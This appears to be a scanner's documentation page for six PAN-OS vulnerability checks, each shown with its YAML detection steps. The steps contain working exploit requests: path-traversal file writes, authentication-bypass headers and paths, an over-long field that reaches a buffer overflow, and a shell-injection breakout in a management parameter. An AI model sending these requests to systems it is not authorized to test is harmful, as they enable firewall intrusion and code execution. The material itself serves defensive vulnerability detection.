PAN-OS — 6 vulnerability checks

noctis ships 6 vulnerability checks for PAN-OS, covering 6 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

PAN-OS GlobalProtect Authentication Bypass

CVECVE-2026-0257
Severitycritical · CVSS 9.1
Categoryauth-bypass — Auth bypass
Serviceshttps
Detectionset_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/panos/CVE-2026-0257.yaml

Tests for CVE-2026-0257: PAN-OS GlobalProtect portal and gateway allow unauthenticated attackers to bypass authentication via insufficient validation of authentication cookies. A bare prelogin request that returns Success without credentials confirms the bypass.

How noctis detects it

  1. HTTP(S) request GET /global-protect/login.esp
  2. Checks login_resp.body for GlobalProtect
  3. HTTP(S) request POST /ssl-vpn/prelogin.esp with a crafted body
  4. Checks prelogin_resp.body for <status>Success</status> → finding QoD 75: GlobalProtect auth bypass confirmed — /ssl-vpn/prelogin.esp returned Success without credentials (CVE-2026-0257)

References:

Feed source — tests/vulnerabilities/panos/CVE-2026-0257.yaml
# PAN-OS GlobalProtect Authentication Bypass — CVE-2026-0257
#
# PAN-OS GlobalProtect portal/gateway before patched versions contain an
# authentication bypass (CWE-565). An unauthenticated attacker can bypass
# authentication to establish unauthorized VPN connections by exploiting
# insufficient validation of authentication cookies in the TLS handshake flow.
#
# Detection:
#   Step 1 — GET /global-protect/login.esp → "GlobalProtect" in body confirms
#             this is a PAN-OS GlobalProtect endpoint
#   Step 2 — POST /ssl-vpn/prelogin.esp with bare <prelogin-cookie/> body →
#             <status>Success</status> in response without credentials confirms
#             auth bypass (QoD 75)
uid: 98c4daef-1794-47c3-9c32-4a092074b41d
name: "PAN-OS GlobalProtect Authentication Bypass"
description: |
  Tests for CVE-2026-0257: PAN-OS GlobalProtect portal and gateway allow
  unauthenticated attackers to bypass authentication via insufficient validation
  of authentication cookies. A bare prelogin request that returns Success without
  credentials confirms the bypass.
cves: [CVE-2026-0257]
cvss: 9.1
severity: critical
category: auth-bypass
confidence_base: 0.30
tags: [palo-alto, panos, globalprotect, auth-bypass, vpn, kev]
services: [https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2026-0257"
  - "https://security.paloaltonetworks.com/CVE-2026-0257"
  - "https://github.com/sfewer-r7/CVE-2026-0257"
  - "https://www.cisa.gov/known-exploited-vulnerabilities-catalog"

steps:
  - id: init-vars
    action: set_var
    var_name: gp_detected
    var_value: false

  # Step 1: fingerprint — GlobalProtect login page confirms PAN-OS target
  - id: gp-fingerprint
    action: http_request
    method: GET
    path: /global-protect/login.esp
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: true
    timeout_secs: 10
    store_as: login_resp

  - id: gp-identity
    action: match
    source: login_resp.body
    pattern: 'GlobalProtect'
    condition: "login_resp.status == 200"
    on_match:
      set_vars:
        gp_detected: true

  # Step 2: auth bypass — prelogin without credentials must fail on patched versions
  - id: prelogin-probe
    action: http_request
    method: POST
    path: /ssl-vpn/prelogin.esp
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 10
    headers:
      Content-Type: "application/xml"
    body: "<prelogin-cookie/>"
    condition: "gp_detected == true"
    store_as: prelogin_resp

  - id: bypass-confirm
    action: match
    source: prelogin_resp.body
    pattern: '<status>Success</status>'
    condition: "gp_detected == true && prelogin_resp.status == 200"
    on_match:
      finding:
        confidence_delta: 0.45
        qod: 75
        evidence: "GlobalProtect auth bypass confirmed — /ssl-vpn/prelogin.esp returned Success without credentials (CVE-2026-0257)"

Palo Alto PAN-OS GlobalProtect SESSID Path Traversal File Write

CVECVE-2024-3400
Severitycritical · CVSS 10.0
Categoryrce — Remote code execution
Serviceshttp, https
Detectionset_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/panos/CVE-2024-3400.yaml

Tests Palo Alto PAN-OS for the GlobalProtect SESSID cookie path traversal. An unauthenticated POST to /ssl-vpn/hipreport.esp with a crafted SESSID cookie writes a file to the portal images directory. Confirmed by comparing portal image endpoint status before (404) and after (403) the write.

How noctis detects it

  1. HTTP(S) request GET /global-protect/portal/images/{{oob_token}}.txt
  2. HTTP(S) request POST /ssl-vpn/hipreport.esp with a crafted body
  3. Checks write_resp.body for invalid required input parameters
  4. HTTP(S) request GET /global-protect/portal/images/{{oob_token}}.txt
  5. Checks write_ok == true && exist_resp.status == 403 → finding QoD 97: PAN-OS GlobalProtect path traversal file write confirmed: probe file ….txt returned 404 before POST and 403 after SESSID injection

References:

Feed source — tests/vulnerabilities/panos/CVE-2024-3400.yaml
# Palo Alto PAN-OS GlobalProtect OS Command Injection — CVE-2024-3400
#
# An unauthenticated attacker can write an arbitrary file to the filesystem by
# injecting a path traversal into the SESSID cookie of the hipreport endpoint.
# The traversal writes the file into the GlobalProtect portal images directory.
# The file is then served (as 403 Forbidden) by the portal, confirming the
# arbitrary write. Exploitation requires GlobalProtect gateway/portal to be
# enabled. Exploited as zero-day by UTA0218 (Volexity) before patch.
#
# Detection (safe, three-step — mirrors Nuclei CVE-2024-3400 template):
#   Step 1: GET probe file → must return 404 (file does not exist yet)
#   Step 2: POST to hipreport with SESSID traversal to write the file
#           → must return 200 + "invalid required input parameters"
#   Step 3: GET same probe file again → must return 403 (file now exists)
#   QoD 97: confirmed arbitrary file write with pre/post evidence.
#
# References:
#   https://nvd.nist.gov/vuln/detail/CVE-2024-3400
#   https://security.paloaltonetworks.com/CVE-2024-3400
#   https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-CVE-2024-3400/
#
uid: f8c2a1e5-7b94-4d36-a0f7-3e1c8b2d9a6e
name: "Palo Alto PAN-OS GlobalProtect SESSID Path Traversal File Write (CVE-2024-3400)"
description: |
  Tests Palo Alto PAN-OS for the GlobalProtect SESSID cookie path traversal.
  An unauthenticated POST to /ssl-vpn/hipreport.esp with a crafted SESSID cookie
  writes a file to the portal images directory. Confirmed by comparing portal image
  endpoint status before (404) and after (403) the write.
cves: [CVE-2024-3400]
cvss: 10.0
severity: critical
category: rce
confidence_base: 0.20
tags: [palo-alto, pan-os, globalprotect, path-traversal, file-write, rce, kev, apt]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2024-3400"
  - "https://security.paloaltonetworks.com/CVE-2024-3400"
  - "https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-CVE-2024-3400/"

steps:
  # Initialise guard so later conditions can reference it even if skipped.
  - id: init-baseline
    action: set_var
    var_name: baseline_404
    var_value: false

  # Step 1: probe the target file — must not exist yet (404).
  # oob_token is unique per test run and serves as a collision-free probe ID.
  - id: baseline-check
    action: http_request
    method: GET
    path: "/global-protect/portal/images/{{oob_token}}.txt"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: baseline_resp

  - id: mark-baseline-ok
    action: set_var
    var_name: baseline_404
    var_value: true
    condition: "baseline_resp.status == 404"

  # Step 2: POST to hipreport with SESSID cookie containing path traversal.
  # The traversal writes a file at the path resolved from the SESSID value
  # into /var/appweb/sslvpndocs/global-protect/portal/images/.
  - id: write-probe
    action: http_request
    method: POST
    path: /ssl-vpn/hipreport.esp
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Cookie: "SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/{{oob_token}}.txt"
      Content-Type: "application/x-www-form-urlencoded"
    body: "user=global&portal=global&authcookie=e51140e4-4ee3-4ced-9373-96160d68&domain=global&computer=global&client-ip=global&client-ipv6=global&md5-sum=global&gwHipReportCheck=global"
    store_as: write_resp
    condition: "baseline_404 == true"

  # Confirm the write endpoint accepted the request with the expected response.
  - id: write-match
    action: match
    source: write_resp.body
    pattern: "invalid required input parameters"
    condition: "baseline_404 == true"
    on_match:
      set_vars:
        write_ok: true

  # Step 3: probe the same file again — 403 confirms it now exists (file was written).
  - id: existence-check
    action: http_request
    method: GET
    path: "/global-protect/portal/images/{{oob_token}}.txt"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: exist_resp
    condition: "write_ok == true"

  # Finding: 404 before → 403 after = arbitrary file write confirmed.
  - id: existence-match
    action: match
    source: exist_resp.body
    pattern: ".*"
    condition: "write_ok == true && exist_resp.status == 403"
    on_match:
      finding:
        confidence_delta: 0.70
        qod: 97
        evidence: "PAN-OS GlobalProtect path traversal file write confirmed: probe file {{oob_token}}.txt returned 404 before POST and 403 after SESSID injection"

Palo Alto PAN-OS GlobalProtect portal SSL VPN request buffer overflow

CVECVE-2016-3657
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionset_var, http_request, match, script · highest QoD 75
Feedtests/vulnerabilities/panos/CVE-2016-3657.yaml

Detects PAN-OS GlobalProtect portals affected by CVE-2016-3657 (PAN-SA-2016-0005), a buffer overflow in the handling of SSL VPN login requests that lets an unauthenticated attacker crash the device or possibly execute code. Affected: PAN-OS before 5.0.18, 6.0.x before 6.0.13, 6.1.x before 6.1.10 and 7.0.x before 7.0.5 with a GlobalProtect portal configured.

The test first loads /global-protect/login.esp and requires a GlobalProtect login page. It then posts a single login attempt to the same page with a 500-character username and a random password. Fixed releases validate the field length and answer "invalid user inputs"; vulnerable releases pass the value on to the affected request handler and return the regular "512 Custom error" page whose `respMsg` reads "Authentication failed:". That 512 status together with the authentication-failure message raises the finding.

The probe does not log in and does not attempt code execution, but it does send an over-long field to the vulnerable code path on unpatched devices, so the test is tagged intrusive.

How noctis detects it

  1. HTTP(S) request GET /global-protect/login.esp
  2. Checks login_resp.body for (?i)GlobalProtect
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request POST /global-protect/login.esp with a crafted body
  5. Checks bof_resp.body for var\s+respMsg\s*=\s*["']Authentication failed: → finding QoD 75: PAN-OS GlobalProtect portal accepts over-long login fields (CVE-2016-3657)

References:

Feed source — tests/vulnerabilities/panos/CVE-2016-3657.yaml
# Palo Alto PAN-OS GlobalProtect portal buffer overflow — CVE-2016-3657 (PAN-SA-2016-0005)
#
# Credit: detection logic adapted from the Greenbone community NVT
# 2016/gb_panos_pan_sa-2016_0005_remote.nasl (OID 1.3.6.1.4.1.25623.1.0.105627,
# GPL-2.0-only).
#
# The fix (PAN-OS 5.0.18 / 6.0.13 / 6.1.10 / 7.0.5) adds length validation on the
# GlobalProtect portal login fields: an over-long username is rejected up front
# with `var respMsg = "invalid user inputs"`. Unfixed portals hand the same value
# to the vulnerable SSL VPN request handler and answer with the normal
# "512 Custom error" login-failure page (`var respMsg = "Authentication failed: …"`).
#
# Deviations from the source check (stricter, fewer false positives):
#   - the login page must identify itself as GlobalProtect (the source only
#     required a non-404 reply);
#   - the "Authentication failed:" text must sit in the `var respMsg` assignment
#     itself, not anywhere on a line that mentions respMsg.
#
# No benign exploitation proof exists for this memory-corruption bug: the only
# observable effects of real exploitation are a device crash or code execution
# through shellcode. The feed therefore stops at the input-validation
# differential (QoD 75). The 500-byte username is the same probe size the
# source check sends; it is tagged `intrusive` because it feeds an over-long value
# to the vulnerable parser on unpatched devices.
uid: 02e08131-31c6-4e48-b33e-80d6969e03d7
name: "Palo Alto PAN-OS GlobalProtect portal SSL VPN request buffer overflow (CVE-2016-3657)"
description: |
  Detects PAN-OS GlobalProtect portals affected by CVE-2016-3657 (PAN-SA-2016-0005),
  a buffer overflow in the handling of SSL VPN login requests that lets an
  unauthenticated attacker crash the device or possibly execute code. Affected:
  PAN-OS before 5.0.18, 6.0.x before 6.0.13, 6.1.x before 6.1.10 and 7.0.x before
  7.0.5 with a GlobalProtect portal configured.

  The test first loads /global-protect/login.esp and requires a GlobalProtect login
  page. It then posts a single login attempt to the same page with a 500-character
  username and a random password. Fixed releases validate the field length and
  answer "invalid user inputs"; vulnerable releases pass the value on to the
  affected request handler and return the regular "512 Custom error" page whose
  `respMsg` reads "Authentication failed:". That 512 status together with the
  authentication-failure message raises the finding.

  The probe does not log in and does not attempt code execution, but it does send
  an over-long field to the vulnerable code path on unpatched devices, so the test
  is tagged intrusive.
cves: [CVE-2016-3657]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.25
tags: [paloalto, panos, globalprotect, ssl-vpn, buffer-overflow, memory-corruption, pre-auth, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2016-3657"
  - "https://security.paloaltonetworks.com/CVE-2016-3657"
  - "Greenbone NVT 2016/gb_panos_pan_sa-2016_0005_remote.nasl (OID 1.3.6.1.4.1.25623.1.0.105627)"

steps:
  - id: init-vars
    action: set_var
    var_name: gp_detected
    var_value: false

  # 1 — the target must serve a GlobalProtect portal login page.
  - id: gp-login-page
    action: http_request
    method: GET
    path: /global-protect/login.esp
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: true
    timeout_secs: 10
    store_as: login_resp

  - id: gp-identity
    action: match
    source: login_resp.body
    pattern: '(?i)GlobalProtect'
    condition: "login_resp.status == 200"
    on_match:
      set_vars:
        gp_detected: true

  # 2 — build the over-long username (500 × "X", as in the source check).
  - id: long-user
    action: script
    store_as: long_user
    condition: "gp_detected == true"
    code: |
      crap(500, "X")

  # 3 — one login attempt with the over-long username.
  - id: long-user-login
    action: http_request
    method: POST
    path: /global-protect/login.esp
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: "gp_detected == true"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "prot=https%3A&server={{target_host}}&inputStr=&action=getsoftware&user={{long_user}}&passwd=noctis{{oob_token}}&ok=Login"
    store_as: bof_resp

  # 4 — fixed releases answer "invalid user inputs"; unfixed ones fall through
  #     to the normal 512 authentication-failure page.
  - id: no-length-validation
    action: match
    source: bof_resp.body
    pattern: 'var\s+respMsg\s*=\s*["'']Authentication failed:'
    condition: "gp_detected == true && bof_resp.status == 512"
    on_match:
      finding:
        title: "PAN-OS GlobalProtect portal accepts over-long login fields (CVE-2016-3657)"
        description: "The GlobalProtect portal processed a 500-character username as a normal failed login (HTTP 512, \"Authentication failed:\") instead of rejecting it as invalid input, which identifies a PAN-OS release without the PAN-SA-2016-0005 fix."
        remediation: "Upgrade PAN-OS to 5.0.18, 6.0.13, 6.1.10, 7.0.5 or later."
        confidence_delta: 0.50
        qod: 75
        evidence: "POST /global-protect/login.esp with a 500-character username returned HTTP 512 with respMsg \"Authentication failed:\" (no length validation)"

Palo Alto PAN-OS Management Interface Auth Bypass via Path Confusion

CVECVE-2025-0108
Severitycritical · CVSS 9.1
Categoryauth-bypass — Auth bypass
Serviceshttp, https
Detectiontcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/panos/CVE-2025-0108.yaml

Detects path confusion auth bypass in PAN-OS management interface. Nginx normalises the double-encoded traversal (%252e%252e) and forwards the decoded path to the Apache/PHP backend without re-running auth checks, exposing the ZTP management page to unauthenticated access. Uses tcp_connect to send the double-encoded path verbatim.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /unauth/%252e%252e/php/ztp_gate.php/PAN_help/x.css HTTP/1.0
  2. Checks resp.banner for Zero Touch Provisioning → finding QoD 75: PAN-OS auth bypass (CVE-2025-0108) confirmed — ZTP page accessible via double-encoded path traversal: …

References:

Feed source — tests/vulnerabilities/panos/CVE-2025-0108.yaml
uid: 0c6f9cf7-0cff-477c-9226-47161cdbcdd3
name: "Palo Alto PAN-OS Management Interface Auth Bypass via Path Confusion (CVE-2025-0108)"
description: |
  Detects path confusion auth bypass in PAN-OS management interface.
  Nginx normalises the double-encoded traversal (%252e%252e) and forwards
  the decoded path to the Apache/PHP backend without re-running auth checks,
  exposing the ZTP management page to unauthenticated access.
  Uses tcp_connect to send the double-encoded path verbatim.
cves: [CVE-2025-0108]
cvss: 9.1
severity: critical
category: auth-bypass
confidence_base: 0.30
tags: [paloalto, panos, management-interface, auth-bypass, path-confusion, kev]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2025-0108"
  - "https://security.paloaltonetworks.com/CVE-2025-0108"
  - "https://slcyber.io/blog/nginx-apache-path-confusion-to-auth-bypass-in-pan-os/"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-0108.yaml"
  - "https://www.cisa.gov/known-exploited-vulnerabilities-catalog"

steps:
  # ── Double-encoded traversal bypasses Nginx auth, reaches PHP backend ────
  # %252e%252e → Nginx decodes %25 → %, forwarded as %2e%2e → Apache: ..
  # tcp_connect is required — reqwest would normalise %2e to . before sending.
  - id: bypass-probe
    action: tcp_connect
    port: "{{port}}"
    timeout_secs: 10
    send: "GET /unauth/%252e%252e/php/ztp_gate.php/PAN_help/x.css HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    store_as: resp

  - id: bypass-match
    action: match
    source: resp.banner
    pattern: "Zero Touch Provisioning"
    on_match:
      finding:
        confidence_delta: 0.45
        qod: 75
        evidence: "PAN-OS auth bypass (CVE-2025-0108) confirmed — ZTP page accessible via double-encoded path traversal: {{resp.banner}}"
      stop: true

Palo Alto PAN-OS Management Web Interface Authentication Bypass

CVECVE-2024-0012
Severitycritical · CVSS 9.8
Categoryauth-bypass — Auth bypass
Serviceshttp, https
Detectionhttp_request, match · highest QoD 75
Feedtests/vulnerabilities/panos/CVE-2024-0012.yaml

Tests PAN-OS for unauthenticated access to the Zero Touch Provisioning (ZTP) management interface. By sending a GET request to /php/ztp_gate.php/.js.map with the X-PAN-AUTHCHECK: off header, an attacker bypasses the authentication middleware and receives an active PHP session for the management plane. Chained with CVE-2024-9474 for full unauthenticated root command execution.

How noctis detects it

  1. HTTP(S) request GET /php/ztp_gate.php/.js.map
  2. Checks resp.body for Zero Touch Provisioning|mainui\.javascript → finding QoD 75: PAN-OS auth bypass confirmed — ZTP management interface accessible unauthenticated via X-PAN-AUTHCHECK: off

References:

Feed source — tests/vulnerabilities/panos/CVE-2024-0012.yaml
uid: 06b777ac-e67f-45d3-8096-b65b07984435
name: "Palo Alto PAN-OS Management Web Interface Authentication Bypass (CVE-2024-0012)"
description: |
  Tests PAN-OS for unauthenticated access to the Zero Touch Provisioning (ZTP)
  management interface. By sending a GET request to /php/ztp_gate.php/.js.map
  with the X-PAN-AUTHCHECK: off header, an attacker bypasses the authentication
  middleware and receives an active PHP session for the management plane. Chained
  with CVE-2024-9474 for full unauthenticated root command execution.
cves: [CVE-2024-0012]
cvss: 9.8
severity: critical
category: auth-bypass
confidence_base: 0.30
tags: [paloalto, panos, management-interface, auth-bypass, ztp, kev]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2024-0012"
  - "https://security.paloaltonetworks.com/CVE-2024-0012"
  - "https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/"
  - "https://github.com/watchtowrlabs/palo-alto-panos-cve-2024-0012"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-0012.yaml"
  - "https://www.cisa.gov/known-exploited-vulnerabilities-catalog"

steps:
  # ── Auth bypass probe: X-PAN-AUTHCHECK header skips middleware ────────────
  - id: bypass-probe
    action: http_request
    method: GET
    path: "/php/ztp_gate.php/.js.map"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    headers:
      X-PAN-AUTHCHECK: "off"
    store_as: resp

  # ── Match ZTP interface content in the response body ─────────────────────
  - id: ztp-match
    action: match
    source: resp.body
    pattern: "Zero Touch Provisioning|mainui\\.javascript"
    condition: "resp.status == 200"
    on_match:
      finding:
        confidence_delta: 0.45
        qod: 75
        evidence: "PAN-OS auth bypass confirmed — ZTP management interface accessible unauthenticated via X-PAN-AUTHCHECK: off"
      stop: true

Palo Alto PAN-OS Unauthenticated RCE — auth bypass + command injection

CVECVE-2017-15944
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, tcp_connect, match · highest QoD 97
Feedtests/vulnerabilities/panos/CVE-2017-15944.yaml

Detects the CVE-2017-15944 chain in the PAN-OS web management interface: an authentication bypass exposes the cms_changeDeviceContext.esp management endpoint, where the `device` parameter is passed into a shell context without sanitisation (arbitrary file creation + command injection), yielding unauthenticated remote code execution.

Detection is inert and per-run — no destructive payload is ever sent. A nonce marker (NOCTIS + a fresh 32-hex token) is injected together with an EMPTY command substitution: `echo NOCTIS$()<token>`. Only a real shell executing the injected command collapses the empty `$()` so the two halves become one contiguous `NOCTIS<token>` string in the response. A server that merely reflects the request verbatim leaves the `$()` in place and does not match, and the fresh per-run token means a server replaying a constant marker cannot satisfy the gate either. The probe is sent verbatim over HTTP/1.0 with tcp_connect because the breakout payload is URL-encoded in the path (reqwest would normalise it).

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. Raw TCP (TLS on HTTPS), sent verbatim: GET /esp/cms_changeDeviceContext.esp?device=aaaaa:a%27%22;echo%20NOCTIS$(){{tok}};%22 HTT…
  4. Checks resp.banner for NOCTIS[0-9a-f]{32} → finding QoD 97: Palo Alto PAN-OS unauthenticated RCE (CVE-2017-15944)

References:

Feed source — tests/vulnerabilities/panos/CVE-2017-15944.yaml
uid: 86a11b73-6e41-4429-9265-f9bae580326f
name: "Palo Alto PAN-OS Unauthenticated RCE — auth bypass + command injection (CVE-2017-15944)"
description: |
  Detects the CVE-2017-15944 chain in the PAN-OS web management interface: an
  authentication bypass exposes the cms_changeDeviceContext.esp management
  endpoint, where the `device` parameter is passed into a shell context without
  sanitisation (arbitrary file creation + command injection), yielding
  unauthenticated remote code execution.

  Detection is inert and per-run — no destructive payload is ever sent. A nonce
  marker (NOCTIS + a fresh 32-hex token) is injected together with an EMPTY
  command substitution: `echo NOCTIS$()<token>`. Only a real shell executing the
  injected command collapses the empty `$()` so the two halves become one
  contiguous `NOCTIS<token>` string in the response. A server that merely reflects
  the request verbatim leaves the `$()` in place and does not match, and the fresh
  per-run token means a server replaying a constant marker cannot satisfy the
  gate either. The probe is sent verbatim over HTTP/1.0 with tcp_connect because
  the breakout payload is URL-encoded in the path (reqwest would normalise it).
cves: [CVE-2017-15944]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.25
tags: [paloalto, panos, management-interface, auth-bypass, command-injection, rce, kev]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2017-15944"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2017/CVE-2017-15944.yaml"
  - "https://www.rapid7.com/db/?q=CVE-2017-15944"
  - "https://www.cisa.gov/known-exploited-vulnerabilities-catalog"

steps:
  # 1 — mint a per-run nonce token (16 bytes → 32 hex chars).
  - id: mint-token
    action: script
    store_as: tok
    code: |
      rand_hex(16)

  # 2 — derive the contiguous marker the collapse must reproduce: NOCTIS<token>.
  - id: mint-marker
    action: script
    store_as: marker
    code: |
      "NOCTIS" + tok

  # 3 — inject an INERT echo probe into the device parameter of the management
  #     endpoint exposed by the auth bypass. `a%27";` breaks out of the quoted
  #     shell context; `echo NOCTIS$()<token>` carries the nonce split by an
  #     empty command substitution. tcp_connect sends the %27 verbatim over
  #     HTTP/1.0 (reqwest would decode %27 → ' and mangle the breakout).
  - id: inject-probe
    action: tcp_connect
    port: "{{port}}"
    timeout_secs: 10
    send: "GET /esp/cms_changeDeviceContext.esp?device=aaaaa:a%27%22;echo%20NOCTIS$(){{tok}};%22 HTTP/1.0\r\nHost: {{target_host}}\r\nCookie: PHPSESSID=noctisprobe;\r\nConnection: close\r\n\r\n"
    store_as: resp

  # 4 — confirm RCE: HTTP 200 AND the contiguous per-run marker is present. The
  #     marker is only contiguous if a real shell collapsed the empty `$()`.
  #     Verbatim reflection (patched) leaves `$()` between the halves → no match.
  - id: confirm-collapse
    action: match
    condition: "stridx(resp.banner, \" 200 \") >= 0 && stridx(resp.banner, marker) >= 0"
    source: resp.banner
    pattern: "NOCTIS[0-9a-f]{32}"
    on_match:
      finding:
        title: "Palo Alto PAN-OS unauthenticated RCE (CVE-2017-15944)"
        description: "The PAN-OS management interface executed an injected shell command without authentication: an empty command substitution in the echoed nonce was collapsed by a real shell, confirming the auth-bypass + command-injection chain (unauthenticated remote code execution)."
        remediation: "Upgrade PAN-OS to a fixed release (>= 6.1.19 / 7.0.19 / 7.1.14 / 8.0.6), and never expose the web management interface to untrusted networks."
        confidence_delta: 0.65
        qod: 97
        evidence: "Injected inert command substitution collapsed by the target shell — contiguous per-run marker observed in the response."
      stop: true

View these feeds on GitHub